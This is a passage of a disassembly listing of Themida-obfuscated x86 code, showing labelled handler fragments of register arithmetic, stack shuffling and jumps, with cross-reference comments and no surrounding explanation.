		sub	eax, esi
		add	eax, 44D31987h
		pop	esi
		sub	ebx, 2BDD5524h
		add	ebx, eax
		push	edi
		push	32597F06h
		pop	edi
		jmp	loc_5596C9
; ---------------------------------------------------------------------------


loc_558462:				; CODE XREF: Themida_:005528C7j
		sub	edx, 9CA3B955h
		add	ebx, edx
		pop	edx
		sub	eax, ebx
		jmp	loc_556FB1
; ---------------------------------------------------------------------------


loc_558472:				; CODE XREF: Themida_:0055A0C5j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_557D15
; ---------------------------------------------------------------------------


loc_55847D:				; CODE XREF: Themida_:0055A2BCj
		pop	ebx
		pop	edi
		push	7688h
		mov	[esp], edi
		push	3495h
		mov	[esp], ebp
		jmp	loc_555CAB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5584A3:				; CODE XREF: Themida_:0055A544j
		xor	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_551CEF
; ---------------------------------------------------------------------------


loc_5584C2:				; CODE XREF: Themida_:0055B802j
		add	eax, [ebx]
		pop	ebx
		pop	ecx
		pop	edx
		push	4EDDh
		mov	[esp], eax
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5584D4:				; CODE XREF: Themida_:005599B0j
		sub	eax, 363E2EE3h
		add	eax, esi
		jmp	loc_558551
; ---------------------------------------------------------------------------


loc_5584E0:				; CODE XREF: Themida_:00556757j
		add	edx, 3F1225DCh
		add	edx, 54A019FDh
		push	edi
		jmp	loc_5534C9
; ---------------------------------------------------------------------------


loc_5584F2:				; CODE XREF: Themida_:0055B9F0j
		pop	ebx
		dec	edx
		add	edx, 47AE7885h
		sub	edx, 0F673F33Fh
		sub	ebp, edx
		pop	edx
		jmp	loc_55262E
; ---------------------------------------------------------------------------


loc_558508:				; CODE XREF: Themida_:0055306Bj
		mov	esi, 170E38EAh
		jmp	loc_55CED0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	1316h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55B1DE
; ---------------------------------------------------------------------------


loc_558528:				; CODE XREF: Themida_:0055AACBj
		mov	[esp], edx
		mov	edx, 2
		sub	ebp, 46633AFBh
		add	ebp, edx
		push	eax
		jmp	loc_5564EE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_558E32
; ---------------------------------------------------------------------------


loc_558551:				; CODE XREF: Themida_:005584DBj
		add	eax, 363E2EE3h
		pop	esi
		jmp	loc_55A538
; ---------------------------------------------------------------------------


loc_55855C:				; CODE XREF: Themida_:0055D339j
		add	edx, 4
		add	edx, 4
		jmp	loc_55CA5D
; ---------------------------------------------------------------------------


loc_55856D:				; CODE XREF: Themida_:0055A9B3j
		sub	ebx, 1B51082Ah
		add	ebx, 12F70671h
		add	eax, ebx
		jmp	loc_55BACC
; ---------------------------------------------------------------------------


loc_558580:				; CODE XREF: Themida_:0055447Ej
		pop	ecx
		push	esi
		push	590F4314h
		mov	esi, [esp]
		jmp	loc_5533D8
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55AD03
; ---------------------------------------------------------------------------


loc_5585A3:				; CODE XREF: Themida_:0055C3F6j
		dec	edx
		sub	edx, 2E19218Dh
		jmp	loc_55D1C3
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5585B7:				; CODE XREF: Themida_:0055CAC9j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 38h
		add	edx, edi
		push	eax
		mov	eax, 0
		add	eax, edx
		jmp	loc_55AF6A
; ---------------------------------------------------------------------------


loc_5585D4:				; CODE XREF: Themida_:0055AE88j
		sub	al, 0D1h
		pop	cx
		push	edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_556E40
; ---------------------------------------------------------------------------


loc_5585E7:				; CODE XREF: Themida_:0055D96Cj
		push	edx
		mov	edx, 29312E26h
		push	164Ah
		mov	[esp], edx
		jmp	loc_55270B
; ---------------------------------------------------------------------------


loc_5585FA:				; CODE XREF: Themida_:00556116j
		xor	al, 31h
		add	dl, al
		jmp	loc_55472D
; ---------------------------------------------------------------------------


loc_558603:				; CODE XREF: Themida_:005563BFj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_557057
; ---------------------------------------------------------------------------


loc_558613:				; CODE XREF: Themida_:00559214j
		shl	ebx, 7
		push	321Bh
		mov	[esp], eax
		mov	eax, 0DD558A3h
		inc	eax
		shr	eax, 3
		inc	eax
		jmp	loc_554AA0
; ---------------------------------------------------------------------------


loc_55862D:				; CODE XREF: Themida_:00552596j
		sub	ecx, edi
		push	esi
		push	ebx
		push	7BAE684Dh
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 15E11D91h
		mov	esi, ebx
		pop	ebx
		xchg	ebx, esi
		jmp	loc_553114
; ---------------------------------------------------------------------------


loc_55864F:				; CODE XREF: Themida_:00553FC7j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_558654:				; CODE XREF: Themida_:005528D2j
		add	edi, 13DCFA6h
		mov	eax, edi
		pop	edi
		jmp	loc_551A16
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 8Eh
		push	5A32h
		mov	[esp], edx
		mov	dh, 61h
		shl	dh, 4
		dec	dh
		jmp	loc_553421
; ---------------------------------------------------------------------------


loc_558679:				; CODE XREF: Themida_:0055BB5Aj
		mov	[esp], ebx
		push	623Bh
		mov	[esp], edx
		push	ebx
		mov	ebx, 29D808E6h
		jmp	loc_55773F
; ---------------------------------------------------------------------------


loc_55868F:				; CODE XREF: Themida_:0055413Aj
		mov	ebx, 28947FACh
		push	ebp
		mov	ebp, 44E05784h
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xor	ebp, 8B90BD55h
		jmp	loc_5590B4
; ---------------------------------------------------------------------------


loc_5586AA:				; CODE XREF: Themida_:0055C47Fj
		inc	dh
		add	dh, 16h
		jmp	loc_5533A9
; ---------------------------------------------------------------------------


loc_5586B4:				; CODE XREF: Themida_:00554F03j
		xor	edx, 0D9448190h
		mov	ebx, edx
		jmp	loc_55A825
; ---------------------------------------------------------------------------


loc_5586C1:				; CODE XREF: Themida_:00553B92j
		add	edx, ecx
		jmp	loc_55DD1B
; ---------------------------------------------------------------------------


loc_5586C8:				; CODE XREF: Themida_:0055C345j
		not	dword ptr [esp]
		pop	eax
		jmp	loc_55D568
; ---------------------------------------------------------------------------


loc_5586D1:				; CODE XREF: Themida_:005519F7j
		sub	eax, 1A9835E6h
		add	eax, 360305BEh
		sub	eax, ebx
		push	edi
		mov	edi, 494803CDh
		add	edi, 68C490Eh
		push	edi
		not	dword ptr [esp]
		pop	edi
		not	edi
		sub	edi, 19D1471Dh
		sub	eax, edi
		pop	edi
		jmp	loc_5581D7
; ---------------------------------------------------------------------------


loc_5586FE:				; CODE XREF: Themida_:005530AAj
		mov	edi, ecx
		push	dword ptr [esp]
		jmp	loc_55936F
; ---------------------------------------------------------------------------


loc_558708:				; CODE XREF: Themida_:0055A3FEj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_556E5E
; ---------------------------------------------------------------------------


loc_558713:				; CODE XREF: Themida_:0055C142j
		pop	edi
		jmp	loc_5579D4
; ---------------------------------------------------------------------------


loc_558719:				; CODE XREF: Themida_:00559D42j
		pop	ecx
		jmp	loc_5560CB
; ---------------------------------------------------------------------------


loc_55871F:				; CODE XREF: Themida_:00555944j
		pop	ebx
		sub	ecx, edi
		sub	ecx, 65DE1571h
		pop	edi
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	6348h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_552574
; ---------------------------------------------------------------------------


loc_55875A:				; CODE XREF: Themida_:0055CD5Cj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55588B
; ---------------------------------------------------------------------------


loc_558768:				; CODE XREF: Themida_:00554A1Dj
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, 6ADA7547h
		jmp	loc_5582DA
; ---------------------------------------------------------------------------


loc_55877C:				; CODE XREF: Themida_:0055A7D3j
		mov	[esp], edx
		jmp	loc_555235
; ---------------------------------------------------------------------------


loc_558784:				; CODE XREF: Themida_:0055BB26j
		add	ebp, 1F0D261Ch
		not	ebp
		jmp	loc_55AF7A
; ---------------------------------------------------------------------------


loc_558791:				; CODE XREF: Themida_:005560EDj
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_5552FD
; ---------------------------------------------------------------------------


loc_55879B:				; CODE XREF: Themida_:00551946j
		pop	eax
		push	178Bh
		mov	[esp], eax
		jmp	loc_557631
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7B77h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 17E02EC7h
		inc	edx
		push	esi
		mov	esi, 371019F2h
		add	esi, 7B1175FFh
		push	ebx
		mov	ebx, 29B04D7Ch
		or	esi, ebx
		pop	ebx
		sub	esi, 247B86h
		sub	esi, 0D36D833Bh
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, edx
		pop	edx
		jmp	loc_55592C
; ---------------------------------------------------------------------------


loc_5587EF:				; CODE XREF: Themida_:005536DEj
		add	ebx, 5654ADBh
		jmp	loc_55695E
; ---------------------------------------------------------------------------


loc_5587FA:				; CODE XREF: Themida_:005531C5j
		mov	ebx, esp
		jmp	loc_5568FB
; ---------------------------------------------------------------------------


loc_558801:				; CODE XREF: Themida_:005588E9j
		pop	ecx
		sub	eax, ebx
		jmp	loc_55719B
; ---------------------------------------------------------------------------


loc_558809:				; CODE XREF: Themida_:00556FA3j
		mov	ebp, 39A12E4Ah
		xor	ebp, 19D35820h
		xor	ebp, 2072766Eh
		add	ecx, ebp
		pop	ebp
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		mov	ecx, [esp]
		jmp	loc_5559B7
; ---------------------------------------------------------------------------


loc_55882F:				; CODE XREF: Themida_:0055A308j
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 8
		sub	ecx, 24615363h
		xor	ecx, 0C0D137A4h
		add	eax, ecx
		pop	ecx
		sub	eax, 385A3F7Bh
		pop	ebx
		add	eax, 5B5E2554h
		add	eax, ebx
		push	ecx
		jmp	loc_558E6A
; ---------------------------------------------------------------------------


loc_55885D:				; CODE XREF: Themida_:00558DFEj
		pop	eax
		pop	ecx
		sub	dword ptr [esp+4], 5E4969DBh
		add	[esp+4], ebp
		add	dword ptr [esp+4], 5E4969DBh
		jmp	loc_555816
; ---------------------------------------------------------------------------


loc_558878:				; CODE XREF: Themida_:00556601j
		pop	edi
		mov	ecx, ebx
		pop	ebx
		and	[edi+1Ch], ecx
		pop	ecx
		jmp	loc_55800B
; ---------------------------------------------------------------------------


loc_558885:				; CODE XREF: Themida_:0055C763j
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		jmp	loc_553C9A
; ---------------------------------------------------------------------------


loc_55889C:				; CODE XREF: Themida_:00552CB9j
		add	edi, 21830EFAh
		mov	ebp, edi
		pop	edi
		inc	ebp
		xor	ebp, 18643039h
		push	0D12h
		mov	[esp], ebp
		jmp	loc_55BA89
; ---------------------------------------------------------------------------


loc_5588B9:				; CODE XREF: Themida_:00553973j
		pop	dword ptr [esp]
		jmp	loc_55AD29
; ---------------------------------------------------------------------------


loc_5588C1:				; CODE XREF: Themida_:00551FC1j
		push	edi
		push	esp
		pop	edi
		push	edx
		jmp	loc_55416B
; ---------------------------------------------------------------------------


loc_5588CA:				; CODE XREF: Themida_:005556F3j
		sub	eax, 3AC82523h
		jmp	loc_55486D
; ---------------------------------------------------------------------------


loc_5588D4:				; CODE XREF: Themida_:00553E44j
		add	eax, ebp
		jmp	loc_55A992
; ---------------------------------------------------------------------------


loc_5588DB:				; CODE XREF: Themida_:0055D062j
		push	ecx
		mov	ecx, 42C02590h
		sub	ecx, 0DDB710A6h
		add	eax, ecx
		jmp	loc_558801
; ---------------------------------------------------------------------------


loc_5588EE:				; CODE XREF: Themida_:00558144j
		mov	ebx, [esp]
		add	esp, 4
		sub	cl, 9Bh
		sub	cl, 57h
		push	ebx
		mov	bh, cl
		mov	dl, bh
		jmp	loc_5593F1
; ---------------------------------------------------------------------------


loc_558904:				; CODE XREF: Themida_:00557FA5j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_554C62
; ---------------------------------------------------------------------------


loc_558928:				; CODE XREF: Themida_:00559453j
		mov	esi, 457B2970h
		shl	esi, 5
		xor	esi, 0AF652E04h
		mov	ebp, esi
		pop	esi
		mov	ecx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 34C71EFCh
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, ecx
		sub	edx, 34C71EFCh
		jmp	loc_558B98
; ---------------------------------------------------------------------------


loc_558957:				; CODE XREF: Themida_:0055C2DEj
		pop	edi
		jmp	loc_558EBE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55B9CA
; ---------------------------------------------------------------------------


loc_558969:				; CODE XREF: Themida_:005597B4j
		add	esp, 2
		sub	esp, 2
		mov	[esp], ax
		push	small word ptr [esp+2]
		mov	ax, [esp]
		add	esp, 2
		pop	small word ptr [esp]
		jmp	loc_55B3A1
; ---------------------------------------------------------------------------


loc_55898E:				; CODE XREF: Themida_:005530BBj
		shr	dh, 8
		jmp	loc_55A9B8
; ---------------------------------------------------------------------------


loc_558996:				; CODE XREF: Themida_:00559D4Ej
		and	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 0FFE05038h
		add	ebx, 586101EAh
		sub	ebx, esi
		sub	ebx, 586101EAh
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_557404
		push	ecx
		jmp	loc_552BDB
; ---------------------------------------------------------------------------


loc_5589D1:				; CODE XREF: Themida_:00557437j
		add	edx, 6CD81F9Bh
		sub	edx, 548C6424h
		push	edi
		push	edx
		pop	edi
		pop	edx
		pop	edx
		neg	edi
		shr	edi, 3
		shr	edi, 6
		jmp	loc_55C5DA
; ---------------------------------------------------------------------------


loc_5589EF:				; CODE XREF: Themida_:005569ABj
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	4DE0h
		mov	[esp], ebp
		mov	bp, 41A5h
		push	bx
		sub	esp, 4
		mov	[esp], edi
		mov	di, 3C62h
		push	ecx
		mov	cx, di
		mov	bx, cx
		pop	ecx
		mov	edi, [esp]
		jmp	loc_5526EE
; ---------------------------------------------------------------------------


loc_558A28:				; CODE XREF: Themida_:00557A91j
		shl	bh, 8
		neg	bh
		push	eax
		mov	ah, 41h
		jmp	loc_555655
; ---------------------------------------------------------------------------


loc_558A35:				; CODE XREF: Themida_:00559B7Fj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55BE3F
; ---------------------------------------------------------------------------


loc_558A56:				; CODE XREF: Themida_:00553980j
		add	eax, 589D6708h
		jmp	loc_55C6C4
; ---------------------------------------------------------------------------


loc_558A60:				; CODE XREF: Themida_:00557DDFj
		push	edx
		jmp	loc_55B09D
; ---------------------------------------------------------------------------


loc_558A66:				; CODE XREF: Themida_:00556AB2j
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 51C44B3Ah
		jmp	loc_5580D5
; ---------------------------------------------------------------------------


loc_558A7D:				; CODE XREF: Themida_:00551A75j
		dec	eax
		shr	eax, 3
		push	ebx
		mov	ebx, 8B9DE70h
		sub	eax, ebx
		jmp	loc_55A60F
; ---------------------------------------------------------------------------


loc_558A8E:				; CODE XREF: Themida_:005538F2j
		add	eax, ebx
		jmp	loc_55637C
; ---------------------------------------------------------------------------


loc_558A95:				; CODE XREF: Themida_:00557D1Ej
		add	edi, ecx
		pop	ecx
		not	edi
		and	edi, 458E33EFh
		sub	edi, 458C1141h
		add	ebx, edi
		pop	edi
		jmp	loc_55CB4E
; ---------------------------------------------------------------------------


loc_558AAE:				; CODE XREF: Themida_:0055325Ej
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55C15F
; ---------------------------------------------------------------------------


loc_558ABE:				; CODE XREF: Themida_:0055BB62j
		inc	dh
		inc	dh
		sub	dh, 0C1h
		or	ah, dh
		pop	edx
		sub	ah, 0FFh
		add	ah, 0E3h
		jmp	loc_55D76E
; ---------------------------------------------------------------------------


loc_558AD3:				; CODE XREF: Themida_:0055BA3Dj
		add	ecx, 138047A6h
		push	ebx
		jmp	loc_555692
; ---------------------------------------------------------------------------


loc_558ADF:				; CODE XREF: Themida_:00559014j
		add	edi, edx
		jmp	loc_557D6E
; ---------------------------------------------------------------------------


loc_558AE6:				; CODE XREF: Themida_:00555002j
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 4
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		jmp	loc_5559C1
; ---------------------------------------------------------------------------


loc_558AFE:				; CODE XREF: Themida_:0055A01Bj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5542C1
; ---------------------------------------------------------------------------


loc_558B0D:				; CODE XREF: Themida_:00559136j
		mov	ecx, esp
		jmp	loc_556C8E
; ---------------------------------------------------------------------------


loc_558B14:				; CODE XREF: Themida_:00552E5Bj
		add	esp, 2
		jmp	loc_55A44C
; ---------------------------------------------------------------------------


loc_558B1C:				; CODE XREF: Themida_:0055A56Cj
		sub	esp, 4
		jmp	loc_553E49
; ---------------------------------------------------------------------------


loc_558B27:				; CODE XREF: Themida_:0055735Fj
		sub	ebx, ecx
		pop	ecx
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_55D880
; ---------------------------------------------------------------------------


loc_558B3C:				; CODE XREF: Themida_:00553BC2j
		mov	al, 4Eh
		xor	ch, al
		pop	eax
		sub	bl, ch
		jmp	loc_552C33
; ---------------------------------------------------------------------------


loc_558B48:				; CODE XREF: Themida_:0055A0D0j
		push	edx
		jmp	loc_55371B
; ---------------------------------------------------------------------------


loc_558B4E:				; CODE XREF: Themida_:00556BF5j
		pop	ecx
		jmp	loc_55D0CB
; ---------------------------------------------------------------------------


loc_558B54:				; CODE XREF: Themida_:00551F27j
		mov	ebx, ebp
		pop	ebp
		mov	edi, [esp]
		jmp	loc_553B32
; ---------------------------------------------------------------------------


loc_558B5F:				; CODE XREF: Themida_:005554FAj
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		push	5A2Ah
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_55A893
; ---------------------------------------------------------------------------


loc_558B75:				; CODE XREF: Themida_:00555FD3j
		mov	[esp], ebx
		mov	ebx, 698083AEh
		sub	ecx, ebx
		pop	ebx
		sub	edx, 4062365Fh
		sub	edx, ecx
		add	edx, 4062365Fh
		push	dword ptr [esp]
		pop	ecx
		push	esi
		jmp	loc_55487F
; ---------------------------------------------------------------------------


loc_558B98:				; CODE XREF: Themida_:00558952j
		pop	ecx
		jmp	loc_55D1EA
; ---------------------------------------------------------------------------


loc_558B9E:				; CODE XREF: Themida_:0055B4C7j
		mov	dl, 0EDh
		mov	cl, dl
		pop	edx
		add	cl, 67h
		sub	bl, cl
		pop	ecx
		sub	bl, al
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 54h
		add	bl, dl
		jmp	loc_55CBD1
; ---------------------------------------------------------------------------


loc_558BBA:				; CODE XREF: Themida_:0055590Cj
		push	bx
		mov	bl, 0D9h
		add	ch, bl
		jmp	loc_552723
; ---------------------------------------------------------------------------


loc_558BC5:				; CODE XREF: Themida_:0055C408j
		push	esi
		mov	esi, esp
		jmp	loc_559196
; ---------------------------------------------------------------------------


loc_558BCD:				; CODE XREF: Themida_:0055C1A1j
		mov	[esp], ecx
		jmp	loc_55D203
; ---------------------------------------------------------------------------


loc_558BD5:				; CODE XREF: Themida_:005598DDj
		pop	edi
		push	7871h
		mov	[esp], ebx
		push	edi
		mov	ebx, [esp]
		push	esi
		jmp	loc_55C761
; ---------------------------------------------------------------------------


loc_558BE8:				; CODE XREF: Themida_:0055C803j
		pop	ebx
		push	1D7Fh
		mov	[esp], edx
		mov	edx, 3A850C01h
		and	edx, 5CF551DEh
		or	edx, 2A612376h
		jmp	loc_559008
; ---------------------------------------------------------------------------


loc_558C07:				; CODE XREF: Themida_:00558E8Aj
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_558C10:				; CODE XREF: Themida_:005553AEj
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_556B4B
; ---------------------------------------------------------------------------


loc_558C24:				; CODE XREF: Themida_:00552F07j
		sub	edx, 0B78FFAF7h
		jmp	loc_555D75
; ---------------------------------------------------------------------------


loc_558C2F:				; CODE XREF: Themida_:005545F5j
		not	edi
		sub	edi, 0C2149FB7h
		push	edi
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 7F215BEFh
		neg	ecx
		jmp	loc_55B01F
; ---------------------------------------------------------------------------


loc_558C54:				; CODE XREF: Themida_:0055A16Dj
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_5599DA
; ---------------------------------------------------------------------------


loc_558C62:				; CODE XREF: Themida_:00558F30j
		push	ecx
		push	edx
		mov	edx, 4AF081Bh
		and	edx, 1A2407h
		not	edx
		push	edx
		dec	dword ptr [esp]
		pop	edx
		and	edx, 204B5886h
		add	edx, 1BB43137h
		sub	edx, 3BF589B7h
		mov	ecx, edx
		jmp	loc_5552C4
; ---------------------------------------------------------------------------


loc_558C8F:				; CODE XREF: Themida_:00551B34j
		pop	cx
		sub	bh, 6Bh
		sub	cl, 0C0h
		sub	cl, bh
		add	cl, 0C0h
		pop	ebx
		jmp	loc_557724
; ---------------------------------------------------------------------------


loc_558CA2:				; CODE XREF: Themida_:00554040j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	locret_551FA2
; ---------------------------------------------------------------------------


loc_558CB3:				; CODE XREF: Themida_:0055B473j
		xor	ebx, 48D953DEh
		jmp	loc_555560
; ---------------------------------------------------------------------------


loc_558CBE:				; CODE XREF: Themida_:0055C02Bj
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_558CC3:				; CODE XREF: Themida_:00559652j
		push	ebx
		jmp	loc_554F08
; ---------------------------------------------------------------------------


loc_558CC9:				; CODE XREF: Themida_:0055B56Fj
		mov	esi, 30530B78h
		mov	edi, esi
		pop	esi
		add	edx, edi
		pop	edi
		add	edx, esi
		sub	edx, 30530B78h
		pop	esi
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_558CE2:				; CODE XREF: Themida_:0055816Bj
		mov	esi, 33A1648Ah
		jmp	loc_55467E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	44DEh
		jmp	loc_55623D
; ---------------------------------------------------------------------------


loc_558CFA:				; CODE XREF: Themida_:00551FE3j
		add	esp, 4
		jmp	loc_552FDB
; ---------------------------------------------------------------------------


loc_558D05:				; CODE XREF: Themida_:0055D5E1j
		add	edx, ebx
		jmp	loc_5539D4
; ---------------------------------------------------------------------------


loc_558D0C:				; CODE XREF: Themida_:00555B82j
		xor	bh, 7Dh
		push	1222h
		mov	[esp], eax
		mov	al, 0EDh
		xor	al, 0E3h
		shr	al, 1
		sub	al, 4Ah
		and	al, 0A7h
		push	ebx
		mov	bl, 65h
		sub	bl, 8Ch
		add	al, 0BFh
		sub	al, bl
		sub	al, 0BFh
		pop	ebx
		xor	al, 0C8h
		sub	bh, al
		jmp	loc_55A45F
; ---------------------------------------------------------------------------


loc_558D37:				; CODE XREF: Themida_:00553366j
		add	dword ptr [esp+4], 6D3F343Dh
		sub	dword ptr [esp+4], 0BA60734h
		add	[esp+4], ecx
		add	dword ptr [esp+4], 0BA60734h
		push	ecx
		mov	ecx, 6D3F343Dh
		sub	[esp+8], ecx
		pop	ecx
		pop	ecx
		pop	dword ptr [edi+40h]
		sub	dword ptr [edi+40h], 2FB5516Fh
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_5548A4
; ---------------------------------------------------------------------------


loc_558D74:				; CODE XREF: Themida_:0055C880j
		or	eax, eax
		jz	loc_555000
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_554C6D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_558D96:				; CODE XREF: Themida_:0055316Dj
		push	edx
		mov	edx, 31A12AF0h
		xor	edi, edx
		mov	edx, [esp]
		jmp	loc_5548AD
; ---------------------------------------------------------------------------


loc_558DA6:				; CODE XREF: Themida_:0055B4E0j
		pop	eax
		xchg	esi, [esp]
		pop	esp
		sub	[esp], eax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_558DB4:				; CODE XREF: Themida_:00559A6Dj
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55CC8A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6344h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	esi
		push	edi
		mov	edi, 279C148Bh
		inc	edi
		push	ecx
		mov	ecx, 5F2B16F9h
		sub	ecx, 0FF02FFD0h
		add	edi, ecx
		pop	ecx
		push	edx
		mov	edx, 783BD44Fh
		add	edi, edx
		jmp	loc_559F06
; ---------------------------------------------------------------------------


loc_558DF4:				; CODE XREF: Themida_:0055184Aj
		mov	edx, esp
		push	esi
		jmp	loc_55B300
; ---------------------------------------------------------------------------


loc_558DFC:				; CODE XREF: Themida_:00558E17j
		mov	ebp, eax
		jmp	loc_55885D
; ---------------------------------------------------------------------------


loc_558E03:				; CODE XREF: Themida_:0055D2B2j
		push	ebx
		mov	ebx, esp
		jmp	loc_557ED0
; ---------------------------------------------------------------------------


loc_558E0B:				; CODE XREF: Themida_:00554BB7j
		mov	[esp], ebp
		push	ecx
		mov	ecx, 0DC34387h
		push	eax
		mov	eax, ecx
		jmp	loc_558DFC
; ---------------------------------------------------------------------------


loc_558E1C:				; CODE XREF: Themida_:0055795Dj
		push	esi
		jmp	loc_5525BE
; ---------------------------------------------------------------------------


loc_558E22:				; CODE XREF: Themida_:00559F54j
		inc	ecx
		and	ecx, 239C78E8h
		not	ecx
		not	ecx
		jmp	loc_55660E
; ---------------------------------------------------------------------------


loc_558E32:				; CODE XREF: Themida_:0055854Cj
		mov	eax, [esp]
		add	esp, 4
		push	38B7h
		mov	[esp], esi
		mov	esi, 7007375h
		sub	esi, 0F5728F9h
		jmp	loc_55B6E4
; ---------------------------------------------------------------------------


loc_558E50:				; CODE XREF: Themida_:00559CA0j
		not	edx
		jmp	loc_5533FF
; ---------------------------------------------------------------------------


loc_558E57:				; CODE XREF: Themida_:0055CEEAj
		inc	ah
		sub	ah, 5
		shl	ah, 3
		and	ah, 0E1h
		add	ah, 0CEh
		jmp	loc_55CE1F
; ---------------------------------------------------------------------------


loc_558E6A:				; CODE XREF: Themida_:00558858j
		mov	ecx, 7F2A0EC4h
		shl	ecx, 2
		sub	ecx, 63E5377Fh
		jmp	loc_559AB0
; ---------------------------------------------------------------------------


loc_558E7D:				; CODE XREF: Themida_:0055A2A3j
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_558C07
; ---------------------------------------------------------------------------


loc_558E8F:				; CODE XREF: Themida_:0055435Bj
		sub	esp, 4
		jmp	loc_551E62
; ---------------------------------------------------------------------------


loc_558E9A:				; CODE XREF: Themida_:0055DC52j
		add	esp, 4
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, 342E793Ah
		mov	ebx, 6A9BEEE1h
		jmp	loc_5532CB
; ---------------------------------------------------------------------------


loc_558EBE:				; CODE XREF: Themida_:00558958j
		xor	ebp, 3DEAB97Fh
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 0AD23992h
		shr	ebx, 3
		shr	ebx, 5
		push	edi
		mov	edi, 2420440Bh
		inc	edi
		push	0
		sub	[esp], edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		push	eax
		mov	eax, 26490A79h
		or	edi, eax
		jmp	loc_559D47
; ---------------------------------------------------------------------------


loc_558F00:				; CODE XREF: Themida_:00552CD4j
		xor	ebx, eax
		sub	esp, 4
		mov	[esp], edx
		push	esi
		push	edx
